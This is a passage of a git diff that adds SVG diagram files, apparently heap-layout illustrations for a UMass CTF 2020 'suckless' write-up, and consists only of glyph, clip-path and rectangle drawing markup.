xlink:href="#glyph0-1" x="297.4222" y="237.687"/> + <use xlink:href="#glyph0-1" x="302.4035" y="237.687"/> + <use xlink:href="#glyph0-1" x="307.3848" y="237.687"/> + <use xlink:href="#glyph0-1" x="312.3661" y="237.687"/> + <use xlink:href="#glyph0-1" x="317.3474" y="237.687"/> + <use xlink:href="#glyph0-1" x="322.3287" y="237.687"/> + <use xlink:href="#glyph0-1" x="327.31" y="237.687"/> + <use xlink:href="#glyph0-1" x="332.2913" y="237.687"/> + <use xlink:href="#glyph0-1" x="337.2726" y="237.687"/> + <use xlink:href="#glyph0-1" x="342.2539" y="237.687"/> + <use xlink:href="#glyph0-1" x="347.2352" y="237.687"/> + <use xlink:href="#glyph0-1" x="352.2165" y="237.687"/> +</g> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -148.819625 L 170.08225 -162.995406 L 255.121312 -162.995406 L 255.121312 -148.819625 Z M 170.08225 -148.819625 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<g clip-path="url(#clip4)" clip-rule="nonzero"> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -148.819625 L 255.121312 -162.995406 L 368.508031 -162.995406 L 368.508031 -148.819625 Z M 255.121312 -148.819625 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +</g> +</g> +</svg> diff --git a/org/UMass CTF 2020 - suckless Writeup/MyrddinHeap.svg b/org/UMass CTF 2020 - suckless Writeup/MyrddinHeap.svg new file mode 100644 index 0000000..b5261bf --- /dev/null +++ b/org/UMass CTF 2020 - suckless Writeup/MyrddinHeap.svg @@ -0,0 +1,694 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="368.902pt" height="242.225pt" viewBox="0 0 368.902 242.225" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d="M 4.578125 -3.1875 C 4.578125 -3.984375 4.53125 -4.78125 4.1875 -5.515625 C 3.734375 -6.484375 2.90625 -6.640625 2.5 -6.640625 C 1.890625 -6.640625 1.171875 -6.375 0.75 -5.453125 C 0.4375 -4.765625 0.390625 -3.984375 0.390625 -3.1875 C 0.390625 -2.4375 0.421875 -1.546875 0.84375 -0.78125 C 1.265625 0.015625 2 0.21875 2.484375 0.21875 C 3.015625 0.21875 3.78125 0.015625 4.21875 -0.9375 C 4.53125 -1.625 4.578125 -2.40625 4.578125 -3.1875 Z M 2.484375 0 C 2.09375 0 1.5 -0.25 1.328125 -1.203125 C 1.21875 -1.796875 1.21875 -2.71875 1.21875 -3.3125 C 1.21875 -3.953125 1.21875 -4.609375 1.296875 -5.140625 C 1.484375 -6.328125 2.234375 -6.421875 2.484375 -6.421875 C 2.8125 -6.421875 3.46875 -6.234375 3.65625 -5.25 C 3.765625 -4.6875 3.765625 -3.9375 3.765625 -3.3125 C 3.765625 -2.5625 3.765625 -1.890625 3.65625 -1.25 C 3.5 -0.296875 2.9375 0 2.484375 0 Z M 2.484375 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 4.75 -6.078125 C 4.828125 -6.1875 4.828125 -6.203125 4.828125 -6.421875 L 2.40625 -6.421875 C 1.203125 -6.421875 1.171875 -6.546875 1.140625 -6.734375 L 0.890625 -6.734375 L 0.5625 -4.6875 L 0.8125 -4.6875 C 0.84375 -4.84375 0.921875 -5.46875 1.0625 -5.59375 C 1.125 -5.65625 1.90625 -5.65625 2.03125 -5.65625 L 4.09375 -5.65625 C 3.984375 -5.5 3.203125 -4.40625 2.984375 -4.078125 C 2.078125 -2.734375 1.75 -1.34375 1.75 -0.328125 C 1.75 -0.234375 1.75 0.21875 2.21875 0.21875 C 2.671875 0.21875 2.671875 -0.234375 2.671875 -0.328125 L 2.671875 -0.84375 C 2.671875 -1.390625 2.703125 -1.9375 2.78125 -2.46875 C 2.828125 -2.703125 2.953125 -3.5625 3.40625 -4.171875 Z M 4.75 -6.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 2.890625 -3.515625 C 3.703125 -3.78125 4.28125 -4.46875 4.28125 -5.265625 C 4.28125 -6.078125 3.40625 -6.640625 2.453125 -6.640625 C 1.453125 -6.640625 0.6875 -6.046875 0.6875 -5.28125 C 0.6875 -4.953125 0.90625 -4.765625 1.203125 -4.765625 C 1.5 -4.765625 1.703125 -4.984375 1.703125 -5.28125 C 1.703125 -5.765625 1.234375 -5.765625 1.09375 -5.765625 C 1.390625 -6.265625 2.046875 -6.390625 2.40625 -6.390625 C 2.828125 -6.390625 3.375 -6.171875 3.375 -5.28125 C 3.375 -5.15625 3.34375 -4.578125 3.09375 -4.140625 C 2.796875 -3.65625 2.453125 -3.625 2.203125 -3.625 C 2.125 -3.609375 1.890625 -3.59375 1.8125 -3.59375 C 1.734375 -3.578125 1.671875 -3.5625 1.671875 -3.46875 C 1.671875 -3.359375 1.734375 -3.359375 1.90625 -3.359375 L 2.34375 -3.359375 C 3.15625 -3.359375 3.53125 -2.6875 3.53125 -1.703125 C 3.53125 -0.34375 2.84375 -0.0625 2.40625 -0.0625 C 1.96875 -0.0625 1.21875 -0.234375 0.875 -0.8125 C 1.21875 -0.765625 1.53125 -0.984375 1.53125 -1.359375 C 1.53125 -1.71875 1.265625 -1.921875 0.984375 -1.921875 C 0.734375 -1.921875 0.421875 -1.78125 0.421875 -1.34375 C 0.421875 -0.4375 1.34375 0.21875 2.4375 0.21875 C 3.65625 0.21875 4.5625 -0.6875 4.5625 -1.703125 C 4.5625 -2.515625 3.921875 -3.296875 2.890625 -3.515625 Z M 2.890625 -3.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d="M 2.9375 -1.640625 L 2.9375 -0.78125 C 2.9375 -0.421875 2.90625 -0.3125 2.171875 -0.3125 L 1.96875 -0.3125 L 1.96875 0 C 2.375 -0.03125 2.890625 -0.03125 3.3125 -0.03125 C 3.734375 -0.03125 4.25 -0.03125 4.671875 0 L 4.671875 -0.3125 L 4.453125 -0.3125 C 3.71875 -0.3125 3.703125 -0.421875 3.703125 -0.78125 L 3.703125 -1.640625 L 4.6875 -1.640625 L 4.6875 -1.953125 L 3.703125 -1.953125 L 3.703125 -6.484375 C 3.703125 -6.6875 3.703125 -6.75 3.53125 -6.75 C 3.453125 -6.75 3.421875 -6.75 3.34375 -6.625 L 0.28125 -1.953125 L 0.28125 -1.640625 Z M 2.984375 -1.953125 L 0.5625 -1.953125 L 2.984375 -5.671875 Z M 2.984375 -1.953125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d="M 4.46875 -2 C 4.46875 -3.1875 3.65625 -4.1875 2.578125 -4.1875 C 2.109375 -4.1875 1.671875 -4.03125 1.3125 -3.671875 L 1.3125 -5.625 C 1.515625 -5.5625 1.84375 -5.5 2.15625 -5.5 C 3.390625 -5.5 4.09375 -6.40625 4.09375 -6.53125 C 4.09375 -6.59375 4.0625 -6.640625 3.984375 -6.640625 C 3.984375 -6.640625 3.953125 -6.640625 3.90625 -6.609375 C 3.703125 -6.515625 3.21875 -6.3125 2.546875 -6.3125 C 2.15625 -6.3125 1.6875 -6.390625 1.21875 -6.59375 C 1.140625 -6.625 1.125 -6.625 1.109375 -6.625 C 1 -6.625 1 -6.546875 1 -6.390625 L 1 -3.4375 C 1 -3.265625 1 -3.1875 1.140625 -3.1875 C 1.21875 -3.1875 1.234375 -3.203125 1.28125 -3.265625 C 1.390625 -3.421875 1.75 -3.96875 2.5625 -3.96875 C 3.078125 -3.96875 3.328125 -3.515625 3.40625 -3.328125 C 3.5625 -2.953125 3.59375 -2.578125 3.59375 -2.078125 C 3.59375 -1.71875 3.59375 -1.125 3.34375 -0.703125 C 3.109375 -0.3125 2.734375 -0.0625 2.28125 -0.0625 C 1.5625 -0.0625 0.984375 -0.59375 0.8125 -1.171875 C 0.84375 -1.171875 0.875 -1.15625 0.984375 -1.15625 C 1.3125 -1.15625 1.484375 -1.40625 1.484375 -1.640625 C 1.484375 -1.890625 1.3125 -2.140625 0.984375 -2.140625 C 0.84375 -2.140625 0.5 -2.0625 0.5 -1.609375 C 0.5 -0.75 1.1875 0.21875 2.296875 0.21875 C 3.453125 0.21875 4.46875 -0.734375 4.46875 -2 Z M 4.46875 -2 "/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d="M 1.3125 -3.265625 L 1.3125 -3.515625 C 1.3125 -6.03125 2.546875 -6.390625 3.0625 -6.390625 C 3.296875 -6.390625 3.71875 -6.328125 3.9375 -5.984375 C 3.78125 -5.984375 3.390625 -5.984375 3.390625 -5.546875 C 3.390625 -5.234375 3.625 -5.078125 3.84375 -5.078125 C 4 -5.078125 4.3125 -5.171875 4.3125 -5.5625 C 4.3125 -6.15625 3.875 -6.640625 3.046875 -6.640625 C 1.765625 -6.640625 0.421875 -5.359375 0.421875 -3.15625 C 0.421875 -0.484375 1.578125 0.21875 2.5 0.21875 C 3.609375 0.21875 4.5625 -0.71875 4.5625 -2.03125 C 4.5625 -3.296875 3.671875 -4.25 2.5625 -4.25 C 1.890625 -4.25 1.515625 -3.75 1.3125 -3.265625 Z M 2.5 -0.0625 C 1.875 -0.0625 1.578125 -0.65625 1.515625 -0.8125 C 1.328125 -1.28125 1.328125 -2.078125 1.328125 -2.25 C 1.328125 -3.03125 1.65625 -4.03125 2.546875 -4.03125 C 2.71875 -4.03125 3.171875 -4.03125 3.484375 -3.40625 C 3.65625 -3.046875 3.65625 -2.53125 3.65625 -2.046875 C 3.65625 -1.5625 3.65625 -1.0625 3.484375 -0.703125 C 3.1875 -0.109375 2.734375 -0.0625 2.5 -0.0625 Z M 2.5 -0.0625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d="M 3.296875 2.390625 C 3.296875 2.359375 3.296875 2.34375 3.125 2.171875 C 1.890625 0.921875 1.5625 -0.96875 1.5625 -2.5 C 1.5625 -4.234375 1.9375 -5.96875 3.171875 -7.203125 C 3.296875 -7.328125 3.296875 -7.34375 3.296875 -7.375 C 3.296875 -7.453125 3.265625 -7.484375 3.203125 -7.484375 C 3.09375 -7.484375 2.203125 -6.796875 1.609375 -5.53125 C 1.109375 -4.4375 0.984375 -3.328125 0.984375 -2.5 C 0.984375 -1.71875 1.09375 -0.515625 1.640625 0.625 C 2.25 1.84375 3.09375 2.5 3.203125 2.5 C 3.265625 2.5 3.296875 2.46875 3.296875 2.390625 Z M 3.296875 2.390625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 2.21875 -1.71875 C 1.34375 -1.71875 1.34375 -2.71875 1.34375 -2.9375 C 1.34375 -3.203125 1.359375 -3.53125 1.5 -3.78125 C 1.578125 -3.890625 1.8125 -4.171875 2.21875 -4.171875 C 3.078125 -4.171875 3.078125 -3.1875 3.078125 -2.953125 C 3.078125 -2.6875 3.078125 -2.359375 2.921875 -2.109375 C 2.84375 -2 2.609375 -1.71875 2.21875 -1.71875 Z M 1.0625 -1.328125 C 1.0625 -1.359375 1.0625 -1.59375 1.21875 -1.796875 C 1.609375 -1.515625 2.03125 -1.484375 2.21875 -1.484375 C 3.140625 -1.484375 3.828125 -2.171875 3.828125 -2.9375 C 3.828125 -3.3125 3.671875 -3.671875 3.421875 -3.90625 C 3.78125 -4.25 4.140625 -4.296875 4.3125 -4.296875 C 4.34375 -4.296875 4.390625 -4.296875 4.421875 -4.28125 C 4.3125 -4.25 4.25 -4.140625 4.25 -4.015625 C 4.25 -3.84375 4.390625 -3.734375 4.546875 -3.734375 C 4.640625 -3.734375 4.828125 -3.796875 4.828125 -4.03125 C 4.828125 -4.203125 4.71875 -4.515625 4.328125 -4.515625 C 4.125 -4.515625 3.6875 -4.453125 3.265625 -4.046875 C 2.84375 -4.375 2.4375 -4.40625 2.21875 -4.40625 C 1.28125 -4.40625 0.59375 -3.71875 0.59375 -2.953125 C 0.59375 -2.515625 0.8125 -2.140625 1.0625 -1.921875 C 0.9375 -1.78125 0.75 -1.453125 0.75 -1.09375 C 0.75 -0.78125 0.890625 -0.40625 1.203125 -0.203125 C 0.59375 -0.046875 0.28125 0.390625 0.28125 0.78125 C 0.28125 1.5 1.265625 2.046875 2.484375 2.046875 C 3.65625 2.046875 4.6875 1.546875 4.6875 0.765625 C 4.6875 0.421875 4.5625 -0.09375 4.046875 -0.375 C 3.515625 -0.640625 2.9375 -0.640625 2.328125 -0.640625 C 2.078125 -0.640625 1.65625 -0.640625 1.578125 -0.65625 C 1.265625 -0.703125 1.0625 -1 1.0625 -1.328125 Z M 2.5 1.828125 C 1.484375 1.828125 0.796875 1.3125 0.796875 0.78125 C 0.796875 0.328125 1.171875 -0.046875 1.609375 -0.0625 L 2.203125 -0.0625 C 3.0625 -0.0625 4.171875 -0.0625 4.171875 0.78125 C 4.171875 1.328125 3.46875 1.828125 2.5 1.828125 Z M 2.5 1.828125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 3.78125 -0.546875 L 3.78125 0.109375 L 5.25 0 L 5.25 -0.3125 C 4.5625 -0.3125 4.46875 -0.375 4.46875 -0.875 L 4.46875 -6.921875 L 3.046875 -6.8125 L 3.046875 -6.5 C 3.734375 -6.5 3.8125 -6.4375 3.8125 -5.9375 L 3.8125 -3.78125 C 3.53125 -4.140625 3.09375 -4.40625 2.5625 -4.40625 C 1.390625 -4.40625 0.34375 -3.421875 0.34375 -2.140625 C 0.34375 -0.875 1.3125 0.109375 2.453125 0.109375 C 3.09375 0.109375 3.53125 -0.234375 3.78125 -0.546875 Z M 3.78125 -3.21875 L 3.78125 -1.171875 C 3.78125 -1 3.78125 -0.984375 3.671875 -0.8125 C 3.375 -0.328125 2.9375 -0.109375 2.5 -0.109375 C 2.046875 -0.109375 1.6875 -0.375 1.453125 -0.75 C 1.203125 -1.15625 1.171875 -1.71875 1.171875 -2.140625 C 1.171875 -2.5 1.1875 -3.09375 1.46875 -3.546875 C 1.6875 -3.859375 2.0625 -4.1875 2.609375 -4.1875 C 2.953125 -4.1875 3.375 -4.03125 3.671875 -3.59375 C 3.78125 -3.421875 3.78125 -3.40625 3.78125 -3.21875 Z M 3.78125 -3.21875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 1.71875 -3.765625 L 1.71875 -6.921875 L 0.28125 -6.8125 L 0.28125 -6.5 C 0.984375 -6.5 1.0625 -6.4375 1.0625 -5.9375 L 1.0625 0 L 1.3125 0 C 1.3125 -0.015625 1.390625 -0.15625 1.671875 -0.625 C 1.8125 -0.390625 2.234375 0.109375 2.96875 0.109375 C 4.15625 0.109375 5.1875 -0.875 5.1875 -2.15625 C 5.1875 -3.421875 4.21875 -4.40625 3.078125 -4.40625 C 2.296875 -4.40625 1.875 -3.9375 1.71875 -3.765625 Z M 1.75 -1.140625 L 1.75 -3.1875 C 1.75 -3.375 1.75 -3.390625 1.859375 -3.546875 C 2.25 -4.109375 2.796875 -4.1875 3.03125 -4.1875 C 3.484375 -4.1875 3.84375 -3.921875 4.078125 -3.546875 C 4.34375 -3.140625 4.359375 -2.578125 4.359375 -2.15625 C 4.359375 -1.796875 4.34375 -1.203125 4.0625 -0.75 C 3.84375 -0.4375 3.46875 -0.109375 2.9375 -0.109375 C 2.484375 -0.109375 2.125 -0.34375 1.890625 -0.71875 C 1.75 -0.921875 1.75 -0.953125 1.75 -1.140625 Z M 1.75 -1.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-11"> +<path style="stroke:none;" d="M 2.875 -2.5 C 2.875 -3.265625 2.765625 -4.46875 2.21875 -5.609375 C 1.625 -6.828125 0.765625 -7.484375 0.671875 -7.484375 C 0.609375 -7.484375 0.5625 -7.4375 0.5625 -7.375 C 0.5625 -7.34375 0.5625 -7.328125 0.75 -7.140625 C 1.734375 -6.15625 2.296875 -4.578125 2.296875 -2.5 C 2.296875 -0.78125 1.9375 0.96875 0.703125 2.21875 C 0.5625 2.34375 0.5625 2.359375 0.5625 2.390625 C 0.5625 2.453125 0.609375 2.5 0.671875 2.5 C 0.765625 2.5 1.671875 1.8125 2.25 0.546875 C 2.765625 -0.546875 2.875 -1.65625 2.875 -2.5 Z M 2.875 -2.5 "/> +</symbol> +<symbol overflow="visible" id="glyph0-12"> +<path style="stroke:none;" d="M 2.859375 -2.34375 C 3.15625 -2.71875 3.53125 -3.203125 3.78125 -3.46875 C 4.09375 -3.828125 4.5 -3.984375 4.96875 -3.984375 L 4.96875 -4.296875 C 4.703125 -4.28125 4.40625 -4.265625 4.140625 -4.265625 C 3.84375 -4.265625 3.3125 -4.28125 3.1875 -4.296875 L 3.1875 -3.984375 C 3.40625 -3.96875 3.484375 -3.84375 3.484375 -3.671875 C 3.484375 -3.515625 3.375 -3.390625 3.328125 -3.328125 L 2.71875 -2.546875 L 1.9375 -3.5625 C 1.84375 -3.65625 1.84375 -3.671875 1.84375 -3.734375 C 1.84375 -3.890625 2 -3.984375 2.1875 -3.984375 L 2.1875 -4.296875 C 1.9375 -4.28125 1.28125 -4.265625 1.109375 -4.265625 C 0.90625 -4.265625 0.4375 -4.28125 0.171875 -4.296875 L 0.171875 -3.984375 C 0.875 -3.984375 0.875 -3.984375 1.34375 -3.375 L 2.328125 -2.09375 L 1.390625 -0.90625 C 0.921875 -0.328125 0.328125 -0.3125 0.125 -0.3125 L 0.125 0 C 0.375 -0.015625 0.6875 -0.03125 0.953125 -0.03125 C 1.234375 -0.03125 1.65625 -0.015625 1.890625 0 L 1.890625 -0.3125 C 1.671875 -0.34375 1.609375 -0.46875 1.609375 -0.625 C 1.609375 -0.84375 1.890625 -1.171875 2.5 -1.890625 L 3.265625 -0.890625 C 3.34375 -0.78125 3.46875 -0.625 3.46875 -0.5625 C 3.46875 -0.46875 3.375 -0.3125 3.109375 -0.3125 L 3.109375 0 C 3.40625 -0.015625 3.96875 -0.03125 4.1875 -0.03125 C 4.453125 -0.03125 4.84375 -0.015625 5.140625 0 L 5.140625 -0.3125 C 4.609375 -0.3125 4.421875 -0.328125 4.203125 -0.625 Z M 2.859375 -2.34375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-13"> +<path style="stroke:none;" d="M 4.359375 -7.09375 C 4.421875 -7.234375 4.421875 -7.25 4.421875 -7.28125 C 4.421875 -7.390625 4.328125 -7.484375 4.21875 -7.484375 C 4.078125 -7.484375 4.03125 -7.375 4 -7.28125 L 0.609375 2.109375 C 0.5625 2.25 0.5625 2.265625 0.5625 2.296875 C 0.5625 2.40625 0.640625 2.5 0.75 2.5 C 0.890625 2.5 0.9375 2.390625 0.96875 2.296875 Z M 4.359375 -7.09375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-14"> +<path style="stroke:none;" d="M 1.90625 -3.765625 C 1.90625 -4.0625 1.671875 -4.296875 1.390625 -4.296875 C 1.09375 -4.296875 0.859375 -4.0625 0.859375 -3.765625 C 0.859375 -3.484375 1.09375 -3.234375 1.390625 -3.234375 C 1.671875 -3.234375 1.90625 -3.484375 1.90625 -3.765625 Z M 1.90625 -0.53125 C 1.90625 -0.8125 1.671875 -1.0625 1.390625 -1.0625 C 1.09375 -1.0625 0.859375 -0.8125 0.859375 -0.53125 C 0.859375 -0.234375 1.09375 0 1.390625 0 C 1.671875 0 1.90625 -0.234375 1.90625 -0.53125 Z M 1.90625 -0.53125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-15"> +<path style="stroke:none;" d="M 1.265625 -0.765625 L 2.328125 -1.796875 C 3.875 -3.171875 4.46875 -3.703125 4.46875 -4.703125 C 4.46875 -5.84375 3.578125 -6.640625 2.359375 -6.640625 C 1.234375 -6.640625 0.5 -5.71875 0.5 -4.828125 C 0.5 -4.28125 1 -4.28125 1.03125 -4.28125 C 1.203125 -4.28125 1.546875 -4.390625 1.546875 -4.8125 C 1.546875 -5.0625 1.359375 -5.328125 1.015625 -5.328125 C 0.9375 -5.328125 0.921875 -5.328125 0.890625 -5.3125 C 1.109375 -5.96875 1.65625 -6.328125 2.234375 -6.328125 C 3.140625 -6.328125 3.5625 -5.515625 3.5625 -4.703125 C 3.5625 -3.90625 3.078125 -3.125 2.515625 -2.5 L 0.609375 -0.375 C 0.5 -0.265625 0.5 -0.234375 0.5 0 L 4.203125 0 L 4.46875 -1.734375 L 4.234375 -1.734375 C 4.171875 -1.4375 4.109375 -1 4 -0.84375 C 3.9375 -0.765625 3.28125 -0.765625 3.0625 -0.765625 Z M 1.265625 -0.765625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-0"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph1-1"> +<path style="stroke:none;" d="M 3.328125 -3.015625 C 3.390625 -3.265625 3.625 -4.1875 4.3125 -4.1875 C 4.359375 -4.1875 4.609375 -4.1875 4.8125 -4.0625 C 4.53125 -4 4.34375 -3.765625 4.34375 -3.515625 C 4.34375 -3.359375 4.453125 -3.171875 4.71875 -3.171875 C 4.9375 -3.171875 5.25 -3.34375 5.25 -3.75 C 5.25 -4.265625 4.671875 -4.40625 4.328125 -4.40625 C 3.75 -4.40625 3.40625 -3.875 3.28125 -3.65625 C 3.03125 -4.3125 2.5 -4.40625 2.203125 -4.40625 C 1.171875 -4.40625 0.59375 -3.125 0.59375 -2.875 C 0.59375 -2.765625 0.703125 -2.765625 0.71875 -2.765625 C 0.796875 -2.765625 0.828125 -2.796875 0.84375 -2.875 C 1.1875 -3.9375 1.84375 -4.1875 2.1875 -4.1875 C 2.375 -4.1875 2.71875 -4.09375 2.71875 -3.515625 C 2.71875 -3.203125 2.546875 -2.546875 2.1875 -1.140625 C 2.03125 -0.53125 1.671875 -0.109375 1.234375 -0.109375 C 1.171875 -0.109375 0.953125 -0.109375 0.734375 -0.234375 C 0.984375 -0.296875 1.203125 -0.5 1.203125 -0.78125 C 1.203125 -1.046875 0.984375 -1.125 0.84375 -1.125 C 0.53125 -1.125 0.296875 -0.875 0.296875 -0.546875 C 0.296875 -0.09375 0.78125 0.109375 1.21875 0.109375 C 1.890625 0.109375 2.25 -0.59375 2.265625 -0.640625 C 2.390625 -0.28125 2.75 0.109375 3.34375 0.109375 C 4.375 0.109375 4.9375 -1.171875 4.9375 -1.421875 C 4.9375 -1.53125 4.859375 -1.53125 4.828125 -1.53125 C 4.734375 -1.53125 4.71875 -1.484375 4.6875 -1.421875 C 4.359375 -0.34375 3.6875 -0.109375 3.375 -0.109375 C 2.984375 -0.109375 2.828125 -0.421875 2.828125 -0.765625 C 2.828125 -0.984375 2.875 -1.203125 2.984375 -1.640625 Z M 3.328125 -3.015625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-2"> +<path style="stroke:none;" d="M 3.65625 -3.984375 L 4.515625 -3.984375 C 4.71875 -3.984375 4.8125 -3.984375 4.8125 -4.1875 C 4.8125 -4.296875 4.71875 -4.296875 4.546875 -4.296875 L 3.71875 -4.296875 L 3.921875 -5.4375 C 3.96875 -5.640625 4.109375 -6.34375 4.171875 -6.46875 C 4.25 -6.65625 4.421875 -6.8125 4.640625 -6.8125 C 4.671875 -6.8125 4.9375 -6.8125 5.125 -6.625 C 4.6875 -6.59375 4.578125 -6.234375 4.578125 -6.09375 C 4.578125 -5.859375 4.765625 -5.734375 4.953125 -5.734375 C 5.21875 -5.734375 5.5 -5.96875 5.5 -6.34375 C 5.5 -6.796875 5.046875 -7.03125 4.640625 -7.03125 C 4.296875 -7.03125 3.671875 -6.84375 3.375 -5.859375 C 3.3125 -5.65625 3.28125 -5.546875 3.046875 -4.296875 L 2.359375 -4.296875 C 2.15625 -4.296875 2.046875 -4.296875 2.046875 -4.109375 C 2.046875 -3.984375 2.140625 -3.984375 2.328125 -3.984375 L 2.984375 -3.984375 L 2.25 -0.046875 C 2.0625 0.921875 1.890625 1.828125 1.375 1.828125 C 1.328125 1.828125 1.09375 1.828125 0.890625 1.640625 C 1.359375 1.609375 1.453125 1.25 1.453125 1.109375 C 1.453125 0.875 1.265625 0.75 1.078125 0.75 C 0.8125 0.75 0.53125 0.984375 0.53125 1.359375 C 0.53125 1.796875 0.96875 2.046875 1.375 2.046875 C 1.921875 2.046875 2.328125 1.453125 2.5 1.078125 C 2.828125 0.453125 3.046875 -0.75 3.0625 -0.828125 Z M 3.65625 -3.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-3"> +<path style="stroke:none;" d="M 2.375 -6.8125 C 2.375 -6.8125 2.375 -6.921875 2.25 -6.921875 C 2.03125 -6.921875 1.296875 -6.84375 1.03125 -6.8125 C 0.953125 -6.8125 0.84375 -6.796875 0.84375 -6.625 C 0.84375 -6.5 0.9375 -6.5 1.09375 -6.5 C 1.5625 -6.5 1.578125 -6.4375 1.578125 -6.328125 C 1.578125 -6.265625 1.5 -5.921875 1.453125 -5.71875 L 0.625 -2.46875 C 0.515625 -1.96875 0.46875 -1.796875 0.46875 -1.453125 C 0.46875 -0.515625 1 0.109375 1.734375 0.109375 C 2.90625 0.109375 4.140625 -1.375 4.140625 -2.8125 C 4.140625 -3.71875 3.609375 -4.40625 2.8125 -4.40625 C 2.359375 -4.40625 1.9375 -4.109375 1.640625 -3.8125 Z M 1.453125 -3.046875 C 1.5 -3.265625 1.5 -3.28125 1.59375 -3.390625 C 2.078125 -4.03125 2.53125 -4.1875 2.796875 -4.1875 C 3.15625 -4.1875 3.421875 -3.890625 3.421875 -3.25 C 3.421875 -2.65625 3.09375 -1.515625 2.90625 -1.140625 C 2.578125 -0.46875 2.125 -0.109375 1.734375 -0.109375 C 1.390625 -0.109375 1.0625 -0.375 1.0625 -1.109375 C 1.0625 -1.3125 1.0625 -1.5 1.21875 -2.125 Z M 1.453125 -3.046875 "/> +</symbol> +</g> +<clipPath id="clip1"> + <path d="M 255 142 L 368.902344 142 L 368.902344 157 L 255 157 Z M 255 142 "/> +</clipPath> +<clipPath id="clip2"> + <path d="M 255 170 L 368.902344 170 L 368.902344 186 L 255 186 Z M 255 170 "/> +</clipPath> +<clipPath id="clip3"> + <path d="M 255 198 L 368.902344 198 L 368.902344 214 L 255 214 Z M 255 198 "/> +</clipPath> +<clipPath id="clip4"> + <path d="M 255 227 L 368.902344 227 L 368.902344 242 L 255 242 Z M 255 227 "/> +</clipPath> +</defs> +<g id="surface1"> +<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.00021875 0.0006875 L 0.00021875 28.348344 L 5.668188 28.348344 L 5.668188 0.0006875 Z M 0.00021875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 5.668188 0.0006875 L 5.668188 28.348344 L 11.340063 28.348344 L 11.340063 0.0006875 Z M 5.668188 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11.340063 0.0006875 L 11.340063 28.348344 L 17.008031 28.348344 L 17.008031 0.0006875 Z M 11.340063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 17.008031 0.0006875 L 17.008031 28.348344 L 22.676 28.348344 L 22.676 0.0006875 Z M 17.008031 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.676 0.0006875 L 22.676 28.348344 L 28.347875 28.348344 L 28.347875 0.0006875 Z M 22.676 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.347875 0.0006875 L 28.347875 28.348344 L 34.015844 28.348344 L 34.015844 0.0006875 Z M 28.347875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 34.015844 0.0006875 L 34.015844 28.348344 L 39.683813 28.348344 L 39.683813 0.0006875 Z M 34.015844 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path 